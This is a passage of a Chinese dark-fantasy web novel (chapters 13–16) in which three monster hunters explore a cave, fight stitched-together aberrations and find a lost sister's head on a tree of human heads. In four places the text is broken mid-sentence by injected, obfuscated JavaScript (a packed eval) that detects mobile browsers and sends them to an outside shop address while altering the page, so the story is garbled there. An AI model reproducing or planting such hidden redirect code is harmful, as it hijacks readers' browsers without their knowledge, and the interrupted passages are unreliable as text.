刚才西蒙娜的表现让他内心警铃大作,审查的时候他知道对方位高权重,压迫感极强,对她的实力却没有一个直观的判断,现在终于清楚了。赤手空拳就能撕开畸变血肉,要是自己身份暴露的话,恐怕也会落得这样的下场。 “这次刚好碰上我回来,是你们运气好。要是没人援助的话,你们该怎么办?”西蒙娜提点了两句,忽然转头望向了一边的街角,“缉察队……” 正从街角往这里赶来的两人,身上赫然是属于缉察队的制服。即使西蒙娜不在场,威尔斯他们再坚持一阵,等到缉察队出手,也能将局面控制下来。 “我刚遇到这个人的时候开了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12962870|136825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 枪,应该是把缉察队引过来了。”路远寒解释道,“出于自卫开枪的话,算违反条例吗?” “不,面对这种持有异物的敌人,什么都不做才是最危险的选择。”西蒙娜摇了摇头,再一次审视起了面前的年轻人。他的行为是无心还是有意,还有待继续考量。 面对缉察队的盘问,三人将事情的来龙去脉叙述了一遍,介于西蒙娜的身份地位,那两名督察并没有过分追究,只是例行公事地走完流程,并就异物的归属问题和她展开了一场辩论。 现场散落的异物共有五件:沾满血迹的羊皮纸、长着嘴的箱子和箱中之画、险些被西蒙娜毁坏的手杖,以及断手上的扳指。 在威尔斯的仔细翻找下,又从尸体的脖颈下搜到一条项链,这条项链具有镇痛缓和伤势的效果,正是雇主托他寻回的目标。 这些异物有的来源不明,另一部分则是这个二道贩子盗窃或抢劫来的。 缉察队声称应该由他们看管其中非常危险的异物,并将失窃物送还回去物归原主,西蒙娜却说并不信任他们,毕竟缉察队是伯爵座下的鹰犬一事人尽皆知。 路远寒冷眼看着他们为了利益争执,两方唇枪舌战,最后商定由缉察队负责处理前三件危险品,剩下三件由猎魔人处置。猎魔人一方看似分到了战斗物品,实则做出了让步,那个能收容其它异物的箱子才是里面最有价值的异物。 看着缉察队处理尸体,防止畸变的影响扩散,西蒙娜将分得的手杖交给了路远寒:“拿好了。” 路远寒不由得一怔,随即反应过来。显然对于西蒙娜而言,她的力量足够强大,这些异物并不是必需品,只是为了两个下属在争取利益,既然威尔斯已经拿到了委托目标,剩下两件理应分给路远寒一份。 他斟酌片刻,示意西蒙娜离缉察队远一些,随即将扳指的用途和人鱼雕像的存在报告了上去。二道贩子已死,猎魔人协会迟早也会查明这些信息,要是隐瞒不报,反倒显得可疑,现在主动说明情况,应该还能给领导留下一个好印象。 正如路远寒猜测的那样,这个行为让西蒙娜对他的印象稍有改观。 之前她还在想这个城府颇深的新人是否藏着什么秘密,现在则缓和了一些,将奥斯温·乔治的名字从可疑分子一栏划到了能够包容的灰色区域。 就在三人准备离开的时候,缉察队的人再次叫住了他们。 为首那名金发督察拿出记录档案,开口说道:“抱歉,刚才忘记问了……前几天有一位督察在附近失踪了,极有可能是畸变物作案,我们正在排查这片区域,你们有什么线索可以提供吗?” 路远寒的呼吸停了下来。 他开始回想那天是否有目击证人,现场有没有留下什么痕迹。按照霍普斯的降雨量,即使安格斯的遗骨没有被老鼠解决,也应该顺着下水道汇入地海了。而他的配枪则在诊所地下室放着,从那天起就没有再出现过了。 路远寒想,地下室的东西必须要处理了。 13. 洞窟 对于缉察队的问题,西蒙娜和威尔斯两个不知情者的回答是否认。 从路远寒追着二道贩子杀到这里,离诊所已经有一段距离,再往前拐过几条街道,则到了秘语者酒吧。而那位督察失踪的地点,就在他所管辖的这片街区。 只不过整个辖区覆盖的范围不小,很难确定他具体是在哪一条街上失踪的。 作为猎魔人领导者之一,西蒙娜多数时候都在协会管理事务,或是外出猎杀强大的畸变物,很少在霍普斯镇上停留。如果不是刚好出差回来,而这附近有一处连通猎魔人地道的据点,她不会出现在这片区域,更谈不上会对一个督察的失踪有头绪。 威尔斯倒是仔细想了想,表示每天来往于秘语者酒吧的人数不胜数,其中不乏带着畸变物尸体售卖的猎魔人,想彻底排查周围这一带恐怕很困难。 “好的,感谢配合。” 督察点了点头,在记录档案上象征性写了两句,视线落在路远寒身上。 他的说法很圆滑,和前面两人说的大差不差,却又有一点细微的变动,没有任何可以挑剔的毛病,但那与霍普斯镇人有别的黑发还是让督察不禁留意了一下。 缉察队的人最后什么也没说,就放路远寒离开了。或许对于他们而言,当下最重要的是尽快把这些异物带回缉察队处理。 路远寒打量着刚拿到的手杖,杖身质感坚硬,握着柄头拔出来,就带出一段杀人如麻的利刃。刚才追杀时他就领会到了异物的威力,现在得到一件,说不高兴自然是不可能的。而且使用异物在猎魔人规章所允许的范围内,不必像他身上的触手那般处处受限,也能在战斗时大规模杀伤对手。 说来倒也神奇,虽然用它能打出千钧重的力道,但手杖本身却很轻盈趁手,而这正是异物的魅力所在。 威尔斯对他的手杖颇为好奇,正要问路远寒借过来一试,感觉到西蒙娜严厉的视线,顿时把手收了回去,却没想到下一秒那枚扳指就扔到了他手上:“你也别愣着,刚好有异物可以用,你们两个跟我走一趟,有点事需要请你们帮忙。” “您还需要我们帮忙?”威尔斯大感意外。 路远寒却察觉到一丝不对劲。 以西蒙娜的实力,想做什么事恐怕没人能拦得住她,却还要带上几个能使用异物的猎魔人,可见事态的严峻。但为什么不召集协会里其他人,难道是有私事需要处理吗? 西蒙娜并没有将话说得太死,但她刚救了路远寒和威尔斯一命,还给每人分配了异物,于情于理,他们都应该接受这项任务。 “对。我刚得到了一个地址,我需要你们陪我进这个洞窟。”西蒙娜脸上的神情有些微妙,“进去陪我找一个人。” 路远寒还一头雾水,威尔斯却已经明白了她要找的是谁。几人返回猎魔人协会补充好弹药,又带上食物淡水、急救箱和照明设备,便朝着西蒙娜口中所说的洞窟进发。 在武器室装填弹药时,威尔斯趁机告诉路远寒,西蒙娜有一个比她小七岁的妹妹安杰丽卡。与成为猎魔人的西蒙娜不同,安杰丽卡只是一个再普通不过的镇民,容貌美丽,性格开朗。然而三年前发生了一场事故,安杰丽卡因此失踪,西蒙娜一直追查多年,用尽手段,却也没有查到她的下落。而他们现在要去寻找的,恐怕就是安杰丽卡。 威尔斯对此很是同情,路远寒却觉得,当一个战士有了弱点,有了软肋,那就不再是无法战胜的了。 虽然西蒙娜并没有告知具体的情报来源,但这洞窟确实是处在相当荒僻的位置,甚至需要横跨一座城镇才能到达。 西蒙娜买了三张前往莫德尔镇的火车票,在蒸汽机和齿轮的轰鸣声中,两个小时后,他们终于抵达了目的地。接下来的路需要步行,好在三人的身体素质都异于常人,即使穿梭在山崖小径之中也毫不费劲。 纵然如此,当那座洞窟出现在眼前的时候,还是让人吃了一惊。 那座洞窟镶在岩壁上,洞口融蚀的范围非常大,即使是火车通行的隧道,亦不能与之相比。幽深无垠的黑暗从岩石的轮廓隐隐渗出,他们站在洞口,仿佛站在一处海沟面前,向前便是神秘莫测的万丈深渊。 路远寒明白了,想要探索这种地方,要是没有同伴,一个人深入腹地,恐怕永远迷失在洞窟中也不为奇。 照明设备此刻派上了用场,为了节省出把持武器和枪械的手,他们一人戴了一顶照明灯,虽然看上去有些滑稽,但在探索的过程中相当实用。此外威尔斯的背包里还装了备用的提灯,以备不时之需。 探照灯在崎岖的洞壁和地面上打出一束亮光,为前进的三人照出脚下的路。这座洞窟内非常阴冷潮湿,倒悬着千形百状的石尖峰,越往深走越能感受到湿气加重,不时有液体从头顶滴下,如同指针滴答、滴答转过的声音。 西蒙娜问道:“我们走了多久?” 路远寒看了一眼手表:“大概一个多小时。” 事情的诡异立刻显现了出来。 他们笔直地向洞窟深处行进,而且始终保持着快于正常行走的速度,不曾停下来休息,就是要横穿小镇也足够了,但这座洞窟仍然和刚进入时一样深邃,甚至感觉不出他们现在究竟走到了哪里。 “还要继续走吗?”威尔斯问。但实际上谁都知道,进来一个多小时都没有走到尽头,现在想出去,恐怕是相当困难。 路远寒拿出手杖,用杖端将旁边的岩壁击碎小半块,作为到过这里的痕迹。为了不迷失方向,他们商定接下来每隔十五分钟就做一次标记。 就在几人稍作休整,准备再次前进的时候,洞壁上忽然传来了一阵响声。 那声音起初很小,窸窸窣窣仿佛有什么小型爬行生物从上方掠过,靠得越近,越像是某种皮肤摩擦的声音,绵延不断地从四周响起。所有人警觉地收好行装拿起武器,随着头顶的灯光照向上方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12962871|136825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 石壁,那些东西的面目也露了出来。 那是一种……难以称之为人的生物。 它们浑身覆盖着浓密的毛发,曲起的四肢攀附在岩壁上挂住重量,肢体过分瘦削,脊椎后的一截尾骨明显突起,胸腹之间的位置却又如同囊肿般涨得圆润。但最恐怖的是它们的面部,没有脸皮与五官,盘错的血肉筋条依附在平整的颌面上,却能散发出充满恶意的视线。 这些怪物成群聚集在岩壁上,一眼望去,至少也有三四十只,在光源照射下愤怒地嘶吼着,迅速向着下方的几人爬来。一只可能还好对付,几十只蜂拥而上,恐怕顷刻之间就要被撕成肉屑。 西蒙娜下了命令:“跑!” 没有任何犹豫,三个猎魔人立刻向着前方跑去。 他们一边逃跑一边举枪扫射,带着硝烟味的击退弹驱逐了不少无面怪物,但仍有十数只怪物如影随形地跟在他们身后。弹匣换过一轮便不能随意浪费,于是威尔斯抚过扳指,应召唤而出的黑影缠住它们的躯干,用力抓起一抛,将怪物丢到了遥远的地方。 然而黑影在移动的光源下极不稳定,只能时断时续地发挥着作用。 全力跑了片刻后,三人终于甩掉了背后癫狂的无面怪物。拜这些怪物所赐,他们的行进速度加快了不少,只是没有标记,更没有顺着笔直的方向前进,谁也不能确定现在跑到了哪里。 唯一能看到的是,有许多黑色的树木紧密拼接着,如同一道栅栏般挡在他们面前。而且这些黑树没有枝叶,树干上也不见任何纹路,越往上越细越翘,洞窟中的风微弱得不值一提,而它们却在微微起伏着。 现在调头回去,就要迎上无面怪物,继续向前探索,还不知道将要面临什么危险。 事已至此,三人循着树林前的矮坡小心而谨慎地前进,路远寒注视着颤动的树身,心中忽然升起一阵强烈的怪异感。还没等他提醒,脚下的大地已然裂开两道横贯树林的缝隙,那些黑树迅速向着两侧退去,他们则摔落在一片柔韧的肉膜上,浑身都沾上了湿润的痕迹。 随着肉膜缓缓转动,由白转黑,带着隐约可见的纹理,路远寒意识到,这是一只眼睛,刚才那些树则是它的睫毛。 而他们现在正坐在一张庞大无比的脸上,因对方沉重的鼻息而不断起伏着。 西蒙娜和威尔斯的反应并不比他慢,三人的面色都难看至极。只是眼睛表面就占据了如此大的地方,难道一张脸铺开能完全覆盖整座洞窟吗?难怪那些怪物都没有脸皮,毕竟这里已经有一个足够大的生物在沉睡了。 在身下的巨脸有所动作之前,他们就起身朝着远在一侧的眼睑跑去,合力抱着睫毛根部,翻上了对方的眼皮。他们绕过肉褶,穿行在浓密的眉林之中,又持续了不知道多久,终于离开了那片活着的面部区域。 “等等。” 路远寒停了下来,扫视着身边的队友:“我们是不是多了一个人?” 14. 真伪 听到他的话,所有人顿时惊疑不定。三个人你望着我,我望着你,仿佛这寂静之中隐藏着一种无形的杀机。 一、二、三…… 算上自己、威尔斯和西蒙娜,确实是三个人没错。路远寒眉头紧皱,又打乱顺序重新数了一遍,得到的还是相同的结论。 他仍能感觉到身边第四个人的存在,虽然看不见摸不着,但对方一直跟在他们身边,从刚进洞窟就待在了队伍中,在遇到无面怪物的时候,那人跟着他们逃跑,摔在眼球上的时候,也发出了黏稠的声音……只是他到底藏在哪里,路远寒百思不得其解。 他抬头望着两名队友,照射灯的光芒向前面打去,在嶙峋的岩壁上打出两人的阴影。 影子! 路远寒一惊,瞬间警惕地环顾起四周,甚至还拿出了备用提灯:“我们可能看不到他,但能照出他的影子,就能找到第四个人。” 剩下两人也反应过来,多盏照明灯交织出紧密的光网,终于在地上照出一道本应不存在的影子。 阻碍着光线穿透的某个人、或者说某种生物,竟然朝他们微笑了起来,从那层无形的表膜上张开一条缝隙。而在其他人眼中,洞窟中凭空多了张嘴,张开的口腔内一层套着一层密密的细小牙齿,如此重复着,仿佛根本看不到尽头。 这东西无形却有影,看到地上的影子开始蠕动的一瞬间,西蒙娜挥剑就砍了过去。 剑风呼啸,谁都能感受到剑上强韧的力道。那怪物身体扭动着迅速闪开了,要是让它躲进灯光覆盖不到的地方,他们就要时时提防着黑暗中的危险了。 路远寒离怪物最近,在那东西翻滚受身的时候,他握着手杖,从旁边找准时机一杖打了过去。 他下手极为狠重,又使用着异物的力量,这一杖要是敲在旁人头上,恐怕早就血肉飞溅脑壳无存,而对于畸变物来说,至少也应该脑震荡晕上一时半刻。 只听一声沉闷的重响,那无形的怪物瘫软在地。它表面上虽然不能被看到,流出的脑浆却是黑中有红,那滩濡湿的黏着物又挣扎着动了一下,被路远寒用手杖连砸几下,彻底不动了。 他蹲在地上,反手用锯肉刀划开了怪物的腹部,用刀身挑起透明的皮肉,察看着这种生物内部的生理构造。 它的内脏肠道倒是和人类差不多,只不过口腔内重复的牙齿属实有一种诡异感,路远寒还发现,那层不可视的皮肤厚得像是肉冻,摸上去相当黏滑湿冷,就仿佛这怪物栖居在水底环境中一样。 路远寒沉思着:“不知道这种怪物还有多少。” 他的担忧不无道理。仅有一只怪物就能潜伏在他们身边而不被发现,要是这些透明怪物是群居性的族类,还有数不清的同族隐藏在暗中,情况可比那些无面野兽要棘手多了。 西蒙娜提剑走了过来。 事情发展到这种地步,这座洞窟的危险程度远远超过了她的预测。她一人探索也就算了,却不能将威尔斯和奥斯温牵涉进来。 西蒙娜告诉他们,再往前探索半个小时,没有结果就立刻折返,并且从现在起,要时刻保持光源常亮,不能让怪物趁机潜藏进队伍之中。 没有人提出意见。三人顺着幽深的洞窟继续前进,一片寂静中只剩下他们的脚步声和衣物摩挲的声音,在这种幽闭环境下越发生出一种狂躁焦灼的感觉,连着身边的同伴都像是某种畸形扭曲的幻影在蠕动。 威尔斯看了看两人的面色,主动解闷道:“等回去了我请大家喝酒,想喝什么点什么……呃,香槟白兰地那种超过一百帝恩币的就算了!” “好啊。”西蒙娜微笑了起来。 威尔斯却顿住了。他眉头紧皱,用怀疑的目光望着走在前方高大的身影,一摆手示意路远寒也退后保持距离。 他斟酌着开口:“西蒙娜大人,您不是一直不喝酒吗?就连秘语者酒吧都很少去。” “是吗?应该是你记错了吧。” 西蒙娜仍然保持着那种带有笑意的腔调。不知何时,她已经转过头去,走在了队伍的正前方。她的背影就如同猎魔人协会门口的那座雕像,肌肉起伏的肩膀下是持守圣剑的正义,只不过那能撕开畸变物头颅的手臂,同样是恶魔的恐怖象征。 在两人静静的注视下,她径直向前走去,身体没有任何起伏,脚下也重复着相同的节奏,仿佛她不需要呼吸,不需要换气,连淡棕色的发尾都垂落在一个位置不动。 “是吗?应该是你记错了吧。” “是吗?应该是你记错了吧。” “是吗?应该是你记错了吧。” 随着威尔斯的黑影出手从西蒙娜脚下揭起一层融化的人皮,一座由不同种类生物缝合而成的血肉混合物缓缓朝着前方挪动,每挪一步就从身上掉下无数震颤的肉块。 它口腔翕张,一直重复着那句诡怪的话,突然间停了下来,转向路远寒和威尔斯所在的方向:“是吗?应该是你记错了吧。” 说完这句话它就闭嘴了,仿佛在观察着那两个人的反应,发现没有任何效果后,瞬间愤怒地吼叫起来,从肉堆中挤出一条兽类的爪掌,将掉在地上的人皮抢夺回去,重新套在了血肉隆起的表面上。 只不过这次出现的不是西蒙娜,而是路远寒。 显然,那层缓慢流动的人皮并不是从具体某个人身上撕下来的,只是一种用于拟态的伪装。但这个怪物模仿得并不像原主本人,只有外型和声音起着以假乱真的效果。 没等它再次开口,路远寒就平静地端起枪,砰的一枪命中了“自己”的胸膛。 子弹在人皮上打穿了一个无法修补的窟窿,露出里面被高温灼烧的焦黑血肉。强大的击退力让怪物浑身乱颤,后退了两步,随即从它身上掉下一摊残缺的肢体。那双乌黑的眼睛眨了一眨,表情痛苦万分,就仿佛受伤的不是怪物,而是正常人类。 路远寒再开一枪,隔着表皮打中血肉模糊下另一处缝着肢体的节点:“前辈,把它的人皮揭下来!打散那些连接点,才能让这个怪物解体。” 怪物已然袭了过来,威尔斯立刻操控着影子将它的假面揭开,狰狞可怖的肉堆重新显现出来。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12962872|136825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 随着路远寒一步一步后退,一次一次开枪,那些缝着畸变肢体的关节被弹壳消融打散,这座血肉混合物也解离成一地血水肉块,虽然还在不断颤动,却已不再具有威胁性。 但事情并没有因此而好转。 刚才西蒙娜下令再探索半个小时就返回的时候,应该还没有与他们失散,现在时间到了,西蒙娜却不见人影,向前寻找还是撤退,成了一个至关紧要的问题。 威尔斯用斧刃将满地的血肉彻底剁得粉碎,皱皱眉站了起来:“回去吧。循着这怪物的脚印,应该能找到它是在什么地方跟上我们的,也就知道西蒙娜大人在哪里和我们分开了。” 于是两人顺着蜿蜒的血迹向相反的方向走去,很快就找到了脚印最开始出现的地方。 此时又有了新的问题,怪物不可能凭空出现,它是从哪里来的呢?搞清楚这个问题,或许就能知道西蒙娜的下落。 路远寒头顶的照明灯开始闪烁,预示着电量即将耗尽。 他正要从背包里取出备用电源换上,却有一枚螺丝从灯罩上脱落,滚到了旁边的地上,在洞窟里激起一阵回响。 他走过去捡起螺丝,望着眼前嶙峋跌宕的岩壁,脸色骤然一变:“威尔斯!” 没等威尔斯拉住他,路远寒就被这面具有活性的岩壁裹了进去。本应坚硬的岩壁此刻正如潮水一般柔韧地缠着他的身体,将他往石壁内部塞去。威尔斯没有例外,很快也被岩壁裹住身体。在黑暗的石壁中流动着,两个人逐渐失去了意识。 而让他们再次醒来的,则是落在脸上的几个巴掌。 路远寒睁开眼,隐约感觉自己的脸颊有些涨痛。他转头望向一边的威尔斯,看见他那张脸上青一片紫一片,连伤疤都显得不再凶狠,也就明白了自己现在的尊容。 用这种方式将他们唤醒的,自然是西蒙娜本人。 “醒了?”西蒙娜的身影出现在路远寒视野当中,确认着他的状况,“看来你们也遇到那面岩壁了。” “我本以为这个洞窟是直进直出的,没想到事实并非如此。洞窟内还有一处或多处隐藏的溶洞,被岩壁吞噬的人会掉到这里来,不过你们来得太慢了,发生什么事了?” 按照西蒙娜的推断,即使岩壁中的流速不同,他们到达这里的时间应该也不会相差太多。 在这种危险的环境下,谁都不可能抛下同伴单独行动,她耐心等着,等到杀了一只又一只怪物,遍地都是尸体之后,昏迷的路远寒和威尔斯才被岩壁吐了出来。 路远寒将拟态生物的事情说了一遍,这时威尔斯才幽幽转醒。 他们的背包和提灯都遗失在了洞窟中,好在威尔斯的照明灯还在,接下来他们三人就要靠这一盏灯进行照明了。 路远寒观察到,他们当前所在的另一处溶洞,地势则较为平整,被岩壁围着的区域呈圆卵形,在洞窟中央簇拥着一座辽阔深邃的地下湖。而在那漆黑的水域之中,竟然还飘浮着小岛,远远望去,那座湖心岛上植被繁茂,不断散发出点点荧光,似乎在等待着他们的到来。 15. 妹妹 在两人掉下来前,西蒙娜就已经研究过了这面诡异的岩壁,发现只能从洞窟另一面传送过来,在湖岸这侧伸手触上岩壁,得不到任何反应。 据路远寒推断,应该有另一处能通往洞窟的岩壁,那只拟态生物才能出现在他们身边。 于是三人顺着湖岸边寻找了一遍,没能找到通往外界的岩壁,便开始向着湖心前进。从湖心岛到岸边有一条极狭窄的道路,稍有不慎,就会跌下去被漆黑的湖水吞噬,因此每个人都走得非常小心,紧盯着脚下的地面,而那幽幽无光的水波,似乎在朝着这条路一点一点蔓延。 在地下山脉的洞窟中再看到一座地下湖,本就是件怪事,而上岛后出现的东西,更让人感到情况诡异。 岛上的植物异常繁茂,空气中弥散着一股檀木、薄荷混合的味道,本该清新扑鼻,不知为何闻着却有些腐臭。一片接着一片的锯齿状草叶摇曳着盖过三人的头顶,等到走过去后又蜷缩起来。 种种怪象似乎都昭示着这些植物不同寻常,也让他们提起了警惕。 只见威尔斯的灯光照出地上一截截手指,还没有完全萎缩的肌肉被青褐色的皮肤覆盖,像是从地上伸出的死人手,显得格外恐怖。待他们走到近处,却发现那是种形同血肉的蘑菇。 就在路远寒仔细观察的时候,一只小蝇嗡嗡扇着翅膀飞了过去。那只干枯的手有了动静,细长的指节攒动收紧,竟是将虫子攥在了蘑菇根部的掌心中,从指缝间溢出幽绿的汁液。 路远寒脸色并不是太好:“这里的植物有一些像是活着的。” “没事,我身上还装了一枚燃烧.弹。”威尔斯摸了摸腿侧的口袋,那里装着他的弹匣,“要是真遇上什么危险情况,也能应付得来。” 像刚才那样的植物在这座岛上并不少见,颜色斑斓的大王花、长有无数触须的枝节、散发着腐尸味道的肉根……畸态的物种占据了整座小岛,他们几个正常人类走在其中,反倒成了特殊的存在。 在穿行过一片草丛时,前方忽然有道黑影闪过。那影子只是模糊地出现了一瞬,看起来像是有着类人的轮廓。 路远寒和威尔斯还没说什么,西蒙娜已经追了上去,她的表现反常,让剩下的同伴也不得不跟上。 西蒙娜呼喊着:“安杰丽卡!是你吗?” 她的声音听起来有几分急促,与以往的冷静大不相同。 安杰丽卡离奇失踪三年,要是还待在这种诡异的地方,大概率也不会是什么正常人了。西蒙娜当然很清楚,但那渺茫的希望仍驱使着她前进,只要还有可能,她就要将安杰丽卡带回去。 几人匆匆追着黑影向前,却不见安杰丽卡的身影。在这岛屿深处,只见一棵巨大的槐树拔地而起,树荫郁郁葱葱,打下的阴影遮盖着旁边的小屋,屋檐处挂着的灯在地上照出昏黄的光。 这岛上竟然有人居住?路远寒一怔,难道西蒙娜的妹妹真的只是离家出走,来到这怪地方生活吗…… 出于警惕,他将枪拔了出来,紧跟在西蒙娜身后,以防突发情况。 那座屋子占地不大,紧锁的窗户上蒙了层灰,隐约可以看到里面似乎有黑影闪动,只是看着门前迤逦的血迹,路远寒觉得在这屋中的应该并不是人。 以西蒙娜的力量,甚至不需要动用异物,一拳砸下去门板就倏然裂成两半,碎成一地尖锐的木块。她推开这扇破烂的门板,向着里面走去,路远寒持着枪紧随其后,威尔斯则留在了门口看守。 越往进走,越能闻到一股浓重的腥味,就像是血肉腐烂发炎生出的味道。 然而出现在两人面前的并不是安杰丽卡,而是那座让人眼熟的血肉混合物。这怪物的形态与之前见到的略有不同,正试着伸手将拟态用的人皮往身上套,一半是人一半是畸变的怪物,看起来异常恐怖。 路远寒发现,它呈现出的容貌既不是三人中的任何一员,也不是安杰丽卡,毕竟安杰丽卡还是少女,不可能长着如此浓密的胡须。 他没有擅自开枪。这个人他们虽然不认识,但那怪物身上融合的东西里未必就没有安杰丽卡。 西蒙娜显然也猜到了这种可能,目光由错愕、震惊渐渐转为沉静,只是握着剑的手仍然有一丝不易察觉的颤抖。 在那怪物发起攻击前,她横剑划过,锋利的刃面将畸变物拦腰截断,肢体溃散一地,那层人皮也就飘到了地上。 西蒙娜放下大剑,将手伸进那滩蠕动的血肉中翻找起来,虎口指腹沾得遍是泥泞的血污,但她毫不在意,拨开一个又一个面目扭曲的头颅,直至这些东西被她搅得稀烂,才松下一口气来。 “还好,没有安杰丽卡……” 她转过头去,看到路远寒正拿起一柄闪着银光的手术刀察看。 他放下手术刀,又看了看器械盘中放着的剪刀、羊肠线、注射器等工具,态度凝重地说:“这是间手术室,那些怪物估计是被人为制造出来的。” 这种合成实验无疑是违背人伦道德的,也难怪要在不见天日的洞窟中进行。路远寒望着一旁手术床上发黑凝固的血迹,难以想象这座岛上究竟还有多少被缝合出的怪物在游荡。 此时他注意到,手术床背后似乎藏着什么东西。路远寒悄无声息地走近,发现那是一截残缺不全的尸体,腹部被撕开大半,流出的肠子盘旋在腿上,而那张惊恐、愤怒而难以置信的脸庞,正是怪物刚才模拟出的人。 看来这就是做实验的人了,路远寒想。他蹲下去翻开男人的手掌,看到沾满血迹的手套和一把手术钳,确认了对方的身份。 “死得其所。” 西蒙娜对此评价。 在确认死去的怪物成分中没有安杰丽卡后,她似乎又恢复了平静。两人在屋中搜寻了一遍,并没有发现其他怪物或是有用的线索,于是又退了出去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12971743|136825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 威尔斯得知里面的情况后,表现出了明显的厌恶。毕竟那血肉混合物已经够让人反胃了,联想到有人在屋内将它们一颗脑袋一只断手地缝在一起,难免生出强烈的不适。 岛上还要继续探索,就在他们从槐树下走过的时候,忽然响起一阵沙沙的声音。 路远寒抬起头,这棵槐树的高度远超过了小屋灯光能覆盖的范围,根系盘曲错乱,庞大的树影中一片黑暗,隐约能看到从树干上延伸出去的枝节。在那树叶摩擦的声响中,又幽幽地传出一个声音: “姐姐……” 西蒙娜定住了。 她四处张望,想要寻找声音的来源。只是那声音消失得极快,仿佛幻觉一般转瞬即逝,但猎魔人的眼睛比猫头鹰还要精准,迅速捕捉到树后闪过的棕色发丝,西蒙娜快跑过去,看到一张纯洁无瑕的脸庞。 “安杰丽卡!”西蒙娜的声音充满了惊喜。 路远寒和威尔斯及时赶到,也看到了那美丽的容颜。少女的脸颊仿佛用细腻的羊脂擦过,鼻尖呈现出神秘的光泽,那双眼睛亮而透彻,正静静地淌下泪水:“姐姐,你来了……” 泪水落在了地上。 西蒙娜这时才注意到,那张熟悉的脸下竟然没有身体。不待她上前捧住安杰丽卡的脸,那颗脑袋就迅速向上飞去,露出脖颈下缠连的枝节,随着槐树甩动起黢黑的枝条,无数颗栩栩如生的人头从黑暗中浮现,绝望地嘶吼起来。 西蒙娜彻底怔住了。 她没有任何反应,身体僵硬地被威尔斯伸手拉到一边。 时间仿佛在这一瞬间定格,西蒙娜无法听到外界的声音,感知不到内心的痛苦,茫然无知的错乱感将她当头笼罩,武器沉重地砸在脚边,而她被遗留在了一片黑暗当中。 每根树枝的末端基本上都连接着一个人头,安杰丽卡的脑袋再次出现,只不过还伴随着几根空空如也的枝条,朝下方的几人袭来。 眼看这些人头发起攻势,路远寒拔出锯肉刀,在树枝的围绕中跳起、挥刀,毫不犹豫地砍下一颗脑袋。那东西飞出去滚了几圈,就像被槐树同化成植物了一样,很快就枯萎了。 尽管他用钢刀收割着人头,但那源源不断的敌人实在难以招架。更何况西蒙娜似乎遭受了极大的刺激,愣在旁边仰望着槐树,他们谁都不敢擅自碰安杰丽卡一下。 威尔斯见他那边情况不妙,将手中武器甩了出去,猎斧转动着连续砍下七八个头颅,而威尔斯已经拿出燃烧.弹,朝着槐树扔了过去。 “嘣——” 爆炸的巨响让他们脚下的地面震颤起来,冲天的火光席卷了一切,火舌顺着树身蹿上一根又一根枝条,烧得那些脑袋痛苦不堪地哭喊着、尖叫着,在高温炙烤下化成焦灰,纷纷扬扬地撒下来,像是落叶归根,又犹如雪花飘落在地上。 女孩的脸庞融化了,一面焦黑,一面纯白无暇。 16. 处理 安杰丽卡的脸庞烧得狰狞,焦黑褶皱的那边如同怪物一样畸形,另外半边则还保持着少女的纯真,只不过面上的泪痕被火烤干,她也就无法再用眼泪向西蒙娜倾诉自己的思念。 在这熊熊火势之中,在哀嚎的人头树下,被烧断枝条的脑袋一个接着一个滚落在地,不甘地湮灭死去。 西蒙娜似乎回过了神,她走上前去,将那颗已经僵硬的头颅抱在了怀里,宽厚的肩膀足以让安杰丽卡整张脸都埋进去。 火势还在蔓延,岛上的植被如此浓密,一旦烧起来就会引发严重的连锁反应,带有余温的灰烬飘到了路远寒的脸上,烫得他眉头微微一跳。如果再找不到出口,那他们就只能离开湖心岛,被彻底困死在这座洞窟当中。 “快走!” 一根巨大的树枝朝着他们砸落下来,被西蒙娜抬臂挡住,随手扔到了旁边。 转瞬间,树干轰塌,大半座岛都沉浸在了火海之中,连洞窟顶部都被肆虐的火光照得通红一片,那些畸态的植物也不能幸免于难。血肉和草木被烤焦的味道弥散在烟尘当中,升起的黑雾遮住了通往岛外的小径。 既没有实验日志,也没有路牌指引,要怎么找到通往外界的秘密通道?路远寒飞速思考着。 